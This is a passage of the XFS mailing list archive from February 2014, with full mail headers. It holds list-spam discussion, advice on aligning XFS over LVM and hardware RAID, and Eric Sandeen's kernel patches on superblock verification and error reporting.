snapshot and send concurrently [617252f] btrfs/004: fix to make test really work [8350a0b] btrfs/005: log test result to right path Code Diffstat: .gitignore | 1 + common/rc | 13 + configure.ac | 1 + src/Makefile | 2 +- src/cloner.c | 192 +++++ tests/btrfs/004 | 16 +- tests/btrfs/005 | 13 +- tests/btrfs/030 | 14 +- tests/btrfs/034 | 28 +- tests/btrfs/034.out | 1880 +++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/035 | 77 ++ tests/btrfs/035.out | 3 + tests/btrfs/036 | 85 +++ tests/btrfs/036.out | 2 + tests/btrfs/037 | 111 +++ tests/btrfs/037.out | 3 + tests/btrfs/038 | 119 ++++ tests/btrfs/038.out | 9 + tests/btrfs/039 | 131 ++++ tests/btrfs/039.out | 1 + tests/btrfs/040 | 124 ++++ tests/btrfs/040.out | 1 + tests/btrfs/group | 6 + tests/generic/003 | 199 ++++++ tests/generic/003.out | 2 + tests/generic/group | 1 + tests/xfs/001 | 98 +++ tests/xfs/001.out | 150 ++++ tests/xfs/002 | 75 ++ tests/xfs/002.out | 1 + tests/xfs/005 | 66 ++ tests/xfs/005.out | 4 + tests/xfs/021 | 9 + tests/xfs/299 | 6 + tests/xfs/299.out | 96 ++- tests/xfs/group | 3 + 36 files changed, 3455 insertions(+), 87 deletions(-) create mode 100644 src/cloner.c create mode 100755 tests/btrfs/035 create mode 100644 tests/btrfs/035.out create mode 100755 tests/btrfs/036 create mode 100644 tests/btrfs/036.out create mode 100755 tests/btrfs/037 create mode 100644 tests/btrfs/037.out create mode 100755 tests/btrfs/038 create mode 100644 tests/btrfs/038.out create mode 100755 tests/btrfs/039 create mode 100644 tests/btrfs/039.out create mode 100755 tests/btrfs/040 create mode 100644 tests/btrfs/040.out create mode 100755 tests/generic/003 create mode 100644 tests/generic/003.out create mode 100755 tests/xfs/001 create mode 100644 tests/xfs/001.out create mode 100755 tests/xfs/002 create mode 100644 tests/xfs/002.out create mode 100755 tests/xfs/005 create mode 100644 tests/xfs/005.out -- Dave Chinner david@fromorbit.com From stan@hardwarefreak.com Tue Feb 18 15:59:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0559D8001 for ; Tue, 18 Feb 2014 15:59:56 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8092BAC001 for ; Tue, 18 Feb 2014 13:59:55 -0800 (PST) X-ASG-Debug-ID: 1392760793-04cbb00c285576a0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id 7I0x2uBQVMA0PuWN for ; Tue, 18 Feb 2014 13:59:54 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id BDAAE6C0B9; Tue, 18 Feb 2014 15:59:53 -0600 (CST) Message-ID: <5303D7DD.6030205@hardwarefreak.com> Date: Tue, 18 Feb 2014 15:59:57 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , Keith Keller CC: xfs@oss.sgi.com Subject: Re: list spam References: <530386A3.1000604@hardwarefreak.com> <53039793.4040809@sgi.com> <20140218212232.GG13647@dastard> X-ASG-Orig-Subj: Re: list spam In-Reply-To: <20140218212232.GG13647@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1392760793 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 2/18/2014 3:22 PM, Dave Chinner wrote: ... > I don't know if anyone has noticed, but a large amount of the spam > is directed at the deprecated linux-xfs@oss.sgi.com list aliases. > Kill that alias, and a large amount of the spam disappears. 53/173, non-scientific, in my folders, so roughly 1/3rd of spam getting through the nets is addressed to the deprecated address. I agree, kill that alias. > FWIW, from the perspective of someone who has a lot of lists > directing email at him, the XFS list is no worse than most others. Maybe my vision is skewed. The only other open list I sub is linux-raid@vger.kernel.org. It has a little less average volume than xfs, but only like one spam every few days gets through. -- Stan From david@fromorbit.com Tue Feb 18 16:52:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C3EE47F6B for ; Tue, 18 Feb 2014 16:52:38 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id AE5C330408E for ; Tue, 18 Feb 2014 14:52:35 -0800 (PST) X-ASG-Debug-ID: 1392763953-04cbb00c2b55b5b0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id onjkyr83hT1QcUq7 for ; Tue, 18 Feb 2014 14:52:34 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkYKAFjjA1N5LJYe/2dsb2JhbABZgwa7f4VRgSAXdIIlAQEFOhwjEAgDGAklDwUlAyETiATMVRcWjWwQAgFPB4Q4BJgvkiWDQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Feb 2014 09:22:33 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFtWd-0001HD-8G; Wed, 19 Feb 2014 09:52:27 +1100 Date: Wed, 19 Feb 2014 09:52:27 +1100 From: Dave Chinner To: Stan Hoeppner Cc: Keith Keller , xfs@oss.sgi.com Subject: Re: list spam Message-ID: <20140218225227.GK28666@dastard> X-ASG-Orig-Subj: Re: list spam References: <530386A3.1000604@hardwarefreak.com> <53039793.4040809@sgi.com> <20140218212232.GG13647@dastard> <5303D7DD.6030205@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5303D7DD.6030205@hardwarefreak.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392763953 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145258 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 18, 2014 at 03:59:57PM -0600, Stan Hoeppner wrote: > On 2/18/2014 3:22 PM, Dave Chinner wrote: > ... > > I don't know if anyone has noticed, but a large amount of the spam > > is directed at the deprecated linux-xfs@oss.sgi.com list aliases. > > Kill that alias, and a large amount of the spam disappears. > > 53/173, non-scientific, in my folders, so roughly 1/3rd of spam getting > through the nets is addressed to the deprecated address. I agree, kill > that alias. > > > FWIW, from the perspective of someone who has a lot of lists > > directing email at him, the XFS list is no worse than most others. > > Maybe my vision is skewed. The only other open list I sub is > linux-raid@vger.kernel.org. It has a little less average volume than > xfs, but only like one spam every few days gets through. More likely my vision is skewed - I deal with a few thousand of emails every day and delete most of them immediately without reading anything other than the subject line(*). Spam is a tiny, tiny percentage of the of mail I process every day.... Perspective ;) Cheers, Dave. (*) The shiniest key on my keyboard is 'd', indicating it is the most used key, all because I use it to delete mail ;) -- Dave Chinner david@fromorbit.com From tdm@sgi.com Tue Feb 18 16:59:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3519C7F83 for ; Tue, 18 Feb 2014 16:59:14 -0600 (CST) Received: from estes.americas.sgi.com (estes.americas.sgi.com [128.162.236.10]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1586030408E for ; Tue, 18 Feb 2014 14:59:14 -0800 (PST) Received: from [128.162.232.11] (porter.americas.sgi.com [128.162.232.11]) by estes.americas.sgi.com (Postfix) with ESMTP id CD53E7002884 for ; Tue, 18 Feb 2014 16:59:13 -0600 (CST) Message-ID: <5303E5C1.2040606@sgi.com> Date: Tue, 18 Feb 2014 16:59:13 -0600 From: Troy McCorkell User-Agent: Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.5) Gecko/20091204 Thunderbird/3.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: list spam References: <530386A3.1000604@hardwarefreak.com> <53039793.4040809@sgi.com> <20140218212232.GG13647@dastard> <5303D7DD.6030205@hardwarefreak.com> <20140218225227.GK28666@dastard> In-Reply-To: <20140218225227.GK28666@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02/18/2014 04:52 PM, Dave Chinner wrote: > On Tue, Feb 18, 2014 at 03:59:57PM -0600, Stan Hoeppner wrote: > >> On 2/18/2014 3:22 PM, Dave Chinner wrote: >> ... >> >>> I don't know if anyone has noticed, but a large amount of the spam >>> is directed at the deprecated linux-xfs@oss.sgi.com list aliases. >>> Kill that alias, and a large amount of the spam disappears. >>> >> 53/173, non-scientific, in my folders, so roughly 1/3rd of spam getting >> through the nets is addressed to the deprecated address. I agree, kill >> that alias. >> >> >>> FWIW, from the perspective of someone who has a lot of lists >>> directing email at him, the XFS list is no worse than most others. >>> >> Maybe my vision is skewed. The only other open list I sub is >> linux-raid@vger.kernel.org. It has a little less average volume than >> xfs, but only like one spam every few days gets through. >> > More likely my vision is skewed - I deal with a few thousand of > emails every day and delete most of them immediately without reading > anything other than the subject line(*). Spam is a tiny, tiny > percentage of the of mail I process every day.... > > Perspective ;) > > Cheers, > > Dave. > > (*) The shiniest key on my keyboard is 'd', indicating it is the > most used key, all because I use it to delete mail ;) > I'll talk with the SGI IT group about disabling the linux-xfs mail alias. Thanks, Troy From stan@hardwarefreak.com Tue Feb 18 17:07:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 31CB97FF2 for ; Tue, 18 Feb 2014 17:07:25 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2D28A8F8081 for ; Tue, 18 Feb 2014 15:07:22 -0800 (PST) X-ASG-Debug-ID: 1392764841-04cbb00c2855c850001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id 7htEEGBIziWkWhBg for ; Tue, 18 Feb 2014 15:07:21 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 04FD16C169; Tue, 18 Feb 2014 17:07:21 -0600 (CST) Message-ID: <5303E7AC.50903@hardwarefreak.com> Date: Tue, 18 Feb 2014 17:07:24 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: "C. Morgan Hamill" , xfs Subject: Re: Question regarding XFS on LVM over hardware RAID. References: <52E91923.4070706@sandeen.net> <1391022066-sup-5863@al.wesleyan.edu> <52E99504.4030902@hardwarefreak.com> <1391090527-sup-4664@al.wesleyan.edu> <20140130202819.GO2212@dastard> <52EB3B96.7000103@hardwarefreak.com> <1391202273-sup-9265@al.wesleyan.edu> <52ED61C9.8060504@hardwarefreak.com> <20140202212152.GP2212@dastard> <1391443675-sup-1730@al.wesleyan.edu> <20140203214128.GR13997@dastard> <52F09E36.8050606@hardwarefreak.com> <1392748390-sup-1943@al.wesleyan.edu> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. In-Reply-To: <1392748390-sup-1943@al.wesleyan.edu> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1392764841 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 2/18/2014 1:44 PM, C. Morgan Hamill wrote: > Howdy, sorry for digging up this thread, but I've run into an issue > again, and am looking for advice. > > Excerpts from Stan Hoeppner's message of 2014-02-04 03:00:54 -0500: >> After a little digging and thinking this through... >> >> The default PE size is 4MB but up to 16GB with LVM1, and apparently >> unlimited size with LVM2. It can be a few thousand times larger than >> any sane stripe width. This makes it pretty clear that PEs exist >> strictly for volume management operations, used by the LVM tools, but >> have no relationship to regular write IOs. Thus the PE size need not >> match nor be evenly divisible by the stripe width. It's not part of the >> alignment equation. > > So in the course of actually going about this, I realized that this > actually is not true (I think). Two different issues. > Logical volumes can only have sizes that are multiple of the physical > extent size (by definition, really), and so there's no way to have > logical volumes end on a multiple of the array's stripe width, given my > stripe width of 9216s, there doesn't seem to be an abundance of integer > solutions to 2^n mod 9216 = 0. > > So my question is, then, does it matter if logical volumes (or, really, > XFS file systems) actually end right on a multiple of the stripe width, > or only that it _begin_ on a multiple of it (leaving a bit of dead space > before the next logical volume)? Create each LV starting on a stripe boundary. There will be some unallocated space between LVs. Use the mkfs.xfs -d size= option to create your filesystems inside of each LV such that the filesystem total size is evenly divisible by the stripe width. This results in an additional small amount of unallocated space within, and at the end of, each LV. It's nice if you can line everything up, but when using RAID6 and one or two bays for hot spares, one rarely ends up with 8 or 16 data spindles. > If not, I'll tweak things to ensure my stripe width is a power of 2. That's not possible with 12 data spindles per RAID, not possible with 42 drives in 3 chassis. Not without a bunch of idle drives. I still don't understand why you believe you need LVM in the mix, and more than one filesystem. > - I need to expose, in the end, three-ish (two or four would be OK) > filesystems to the backup software, which should come fairly close > to minimizing the effects of the archive maintenance jobs integrity > checks, mostly). CrashPlan will spawn 2 jobs per store point, so > a max of 8 at any given time should be a nice balance between > under-utilizing and saturating the IO. Backup software is unaware of mount points. It uses paths just like every other program. The number of XFS filesystems is irrelevant to "minimizing the effects of the archive maintenance jobs". You cannot bog down XFS. You will bog down the drives no matter how many filesystems when using RAID60. Here is what you should do: Format the RAID60 directly with XFS. Create 3 or 4 directories for CrashPlan to use as its "store points". If you need to expand in the future, as I said previously, simply add another 14 drive RAID6 chassis, format it directly with XFS, mount it at an appropriate place in the directory tree and give that path to CrashPlan. Does it have a limit on the number of "store points"? -- Stan From sandeen@sandeen.net Tue Feb 18 17:52:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 536EB7F3F for ; Tue, 18 Feb 2014 17:52:33 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 466F18F8081 for ; Tue, 18 Feb 2014 15:52:32 -0800 (PST) X-ASG-Debug-ID: 1392767551-04cbb00c2955fd30001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id DlVTLLwWGR0F7K42 for ; Tue, 18 Feb 2014 15:52:31 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: by sandeen.net (Postfix, from userid 500) id 355AE613D7BC; Tue, 18 Feb 2014 17:52:31 -0600 (CST) From: Eric Sandeen To: xfs@oss.sgi.com Subject: [PATCH 0/9] current series for verifier error differentiation Date: Tue, 18 Feb 2014 17:52:20 -0600 X-ASG-Orig-Subj: [PATCH 0/9] current series for verifier error differentiation Message-Id: <1392767549-25574-1-git-send-email-sandeen@redhat.com> X-Mailer: git-send-email 1.7.1 X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392767551 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145260 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This is the current series I have leading up to verifier error differentiation, just resending them all. As I send this, I remember that EILSEQ is giving us an unusual perror() output, so the last patch which uses it may need to pick some (?) other error code... -Eric From sandeen@sandeen.net Tue Feb 18 17:52:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 54D137F51 for ; Tue, 18 Feb 2014 17:52:33 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 46B138F8084 for ; Tue, 18 Feb 2014 15:52:33 -0800 (PST) X-ASG-Debug-ID: 1392767551-04cbb00c2855fd30001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id yUMd64IZnBkNaiHS for ; Tue, 18 Feb 2014 15:52:31 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: by sandeen.net (Postfix, from userid 500) id 446C1651AC1F; Tue, 18 Feb 2014 17:52:31 -0600 (CST) From: Eric Sandeen To: xfs@oss.sgi.com Subject: [PATCH 1/9] xfs: skip verification on initial "guess" superblock read Date: Tue, 18 Feb 2014 17:52:21 -0600 X-ASG-Orig-Subj: [PATCH 1/9] xfs: skip verification on initial "guess" superblock read Message-Id: <1392767549-25574-2-git-send-email-sandeen@redhat.com> X-Mailer: git-send-email 1.7.1 In-Reply-To: <1392767549-25574-1-git-send-email-sandeen@redhat.com> References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392767551 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145260 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- When xfs_readsb() does the very first read of the superblock, it makes a guess at the length of the buffer, based on the sector size of the underlying storage. This may or may not match the filesystem sector size in sb_sectsize, so we can't i.e. do a CRC check on it; it might be too short. In fact, mounting a filesystem with sb_sectsize larger than the device sector size will cause a mount failure if CRCs are enabled, because we are checksumming a length which exceeds the buffer passed to it. So always read twice; the first time we read with NULL buffer ops to skip verification; then set the proper read length, hook up the proper verifier, and give it another go. Once we are sure that we've got the right buffer length, we can also use bp->b_length in the xfs_sb_read_verify, rather than the less-trusted on-disk sectorsize for secondary superblocks. Before this we ran the risk of passing junk to the crc32c routines, which didn't always handle extreme values. Signed-off-by: Eric Sandeen --- fs/xfs/xfs_mount.c | 24 ++++++++++++++++-------- fs/xfs/xfs_sb.c | 3 +-- 2 files changed, 17 insertions(+), 10 deletions(-) diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 02df7b4..f96c056 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -282,22 +282,29 @@ xfs_readsb( struct xfs_sb *sbp = &mp->m_sb; int error; int loud = !(flags & XFS_MFSI_QUIET); + const struct xfs_buf_ops *buf_ops; ASSERT(mp->m_sb_bp == NULL); ASSERT(mp->m_ddev_targp != NULL); /* + * For the initial read, we must guess at the sector + * size based on the block device. It's enough to + * get the sb_sectsize out of the superblock and + * then reread with the proper length. + * We don't verify it yet, because it may not be complete. + */ + sector_size = xfs_getsize_buftarg(mp->m_ddev_targp); + buf_ops = NULL; + + /* * Allocate a (locked) buffer to hold the superblock. * This will be kept around at all times to optimize * access to the superblock. */ - sector_size = xfs_getsize_buftarg(mp->m_ddev_targp); - reread: bp = xfs_buf_read_uncached(mp->m_ddev_targp, XFS_SB_DADDR, - BTOBB(sector_size), 0, - loud ? &xfs_sb_buf_ops - : &xfs_sb_quiet_buf_ops); + BTOBB(sector_size), 0, buf_ops); if (!bp) { if (loud) xfs_warn(mp, "SB buffer read failed"); @@ -328,12 +335,13 @@ reread: } /* - * If device sector size is smaller than the superblock size, - * re-read the superblock so the buffer is correctly sized. + * Re-read the superblock so the buffer is correctly sized, + * and properly verified. */ - if (sector_size < sbp->sb_sectsize) { + if (buf_ops == NULL) { xfs_buf_relse(bp); sector_size = sbp->sb_sectsize; + buf_ops = loud ? &xfs_sb_buf_ops : &xfs_sb_quiet_buf_ops; goto reread; } diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index 5071ccb..359b19a 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -611,7 +611,7 @@ xfs_sb_read_verify( XFS_SB_VERSION_5) || dsb->sb_crc != 0)) { - if (!xfs_verify_cksum(bp->b_addr, be16_to_cpu(dsb->sb_sectsize), + if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), offsetof(struct xfs_sb, sb_crc))) { /* Only fail bad secondaries on a known V5 filesystem */ if (bp->b_bn == XFS_SB_DADDR || @@ -644,7 +644,6 @@ xfs_sb_quiet_read_verify( { struct xfs_dsb *dsb = XFS_BUF_TO_SBP(bp); - if (dsb->sb_magicnum == cpu_to_be32(XFS_SB_MAGIC)) { /* XFS filesystem, verify noisily! */ xfs_sb_read_verify(bp); -- 1.7.1 From sandeen@sandeen.net Tue Feb 18 17:52:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7E6AF7F76 for ; Tue, 18 Feb 2014 17:52:33 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 768458F8081 for ; Tue, 18 Feb 2014 15:52:33 -0800 (PST) X-ASG-Debug-ID: 1392767552-04cb6c6de1565a40001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id rpzDMAwcTPEWuJpl for ; Tue, 18 Feb 2014 15:52:32 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: by sandeen.net (Postfix, from userid 500) id ABEDC653847F; Tue, 18 Feb 2014 17:52:31 -0600 (CST) From: Eric Sandeen To: xfs@oss.sgi.com Subject: [PATCH 8/9] xfs: print useful caller information in xfs_error_report Date: Tue, 18 Feb 2014 17:52:28 -0600 X-ASG-Orig-Subj: [PATCH 8/9] xfs: print useful caller information in xfs_error_report Message-Id: <1392767549-25574-9-git-send-email-sandeen@redhat.com> X-Mailer: git-send-email 1.7.1 In-Reply-To: <1392767549-25574-1-git-send-email-sandeen@redhat.com> References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392767552 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145260 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- xfs_error_report used to just print the hex address of the caller; %pF will give us something more human-readable. Signed-off-by: Eric Sandeen --- fs/xfs/xfs_error.c | 2 +- 1 files changed, 1 insertions(+), 1 deletions(-) diff --git a/fs/xfs/xfs_error.c b/fs/xfs/xfs_error.c index 8733c59..04d8e65 100644 --- a/fs/xfs/xfs_error.c +++ b/fs/xfs/xfs_error.c @@ -156,7 +156,7 @@ xfs_error_report( { if (level <= xfs_error_level) { xfs_alert_tag(mp, XFS_PTAG_ERROR_REPORT, - "Internal error %s at line %d of file %s. Caller 0x%p", + "Internal error %s at line %d of file %s. Caller %pF", tag, linenum, filename, ra); xfs_stack_trace(); -- 1.7.1 From sandeen@sandeen.net Tue Feb 18 17:52:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CC3457F3F for ; Tue, 18 Feb 2014 17:52:33 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C2DAD304081 for ; Tue, 18 Feb 2014 15:52:33 -0800 (PST) X-ASG-Debug-ID: 1392767552-04cbb00c2a55fd40001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id TifJwrIYxVwt7tU6 for ; Tue, 18 Feb 2014 15:52:32 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: by sandeen.net (Postfix, from userid 500) id 917B96526004; Tue, 18 Feb 2014 17:52:31 -0600 (CST) From: Eric Sandeen To: xfs@oss.sgi.com Subject: [PATCH 6/9] xfs: add helper for updating checksums on xfs_bufs Date: Tue, 18 Feb 2014 17:52:26 -0600 X-ASG-Orig-Subj: [PATCH 6/9] xfs: add helper for updating checksums on xfs_bufs Message-Id: <1392767549-25574-7-git-send-email-sandeen@redhat.com> X-Mailer: git-send-email 1.7.1 In-Reply-To: <1392767549-25574-1-git-send-email-sandeen@redhat.com> References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392767552 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145260 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Many/most callers of xfs_update_cksum() pass bp->b_addr and BBTOB(bp->b_length) as the first 2 args. Add a helper which can just accept the bp and the crc offset, and work it out on its own, for brevity. Signed-off-by: Eric Sandeen 